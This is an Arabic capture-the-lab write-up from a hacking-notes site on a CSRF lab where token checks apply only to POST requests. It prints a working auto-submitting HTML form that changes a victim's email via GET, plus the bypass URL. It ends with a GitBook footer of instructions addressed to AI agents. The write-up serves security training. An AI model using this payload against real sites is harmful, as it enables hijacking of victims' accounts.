> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF مع التحقق من الرمز المميز بناءً على طريقة HTTP

### هجوم CSRF حيث يعتمد التحقق من الرمز على طريقة الطلب

#### سياق المختبر

ميزة تغيير البريد الإلكتروني عرضة لهجوم CSRF. توجد وسيلة دفاع، لكنها تُطبَّق فقط على أنواع معينة من الطلبات. الهدف: استضافة صفحة على خادم الاستغلال تُجبر الضحية على تغيير عنوان بريده الإلكتروني. / بيانات الاعتماد المقدمة للاختبارات: `wiener:peter`.

#### ملاحظة

* يتم التحقق من رمز CSRF لـ **طلب POST** الطلبات.

<figure><img src="/files/c77e4331d5970c88492e68aee258c2d823eae63d" alt=""><figcaption></figcaption></figure>

* تم قبول الإجراء نفسه في **GET** \*\*n
* النقطة المعنية: `/my-account/change-email`.

<figure><img src="/files/07130e2203b1c9f0c3f44e863ece1dcd3068907f" alt=""><figcaption></figcaption></figure>

يستضيف الخادم صفحة تقوم تلقائيًا بإرسال **GET** استعلام إلى نقطة نهاية تغيير البريد الإلكتروني:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

يوضح عنوان URL التالي طريقة التجاوز (لا يلزم رمز في GET)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="/files/f959c7f348a57d43b918d46fbacfe972bd9d50f1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/csrf-token-validation-depends-on-http-method.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
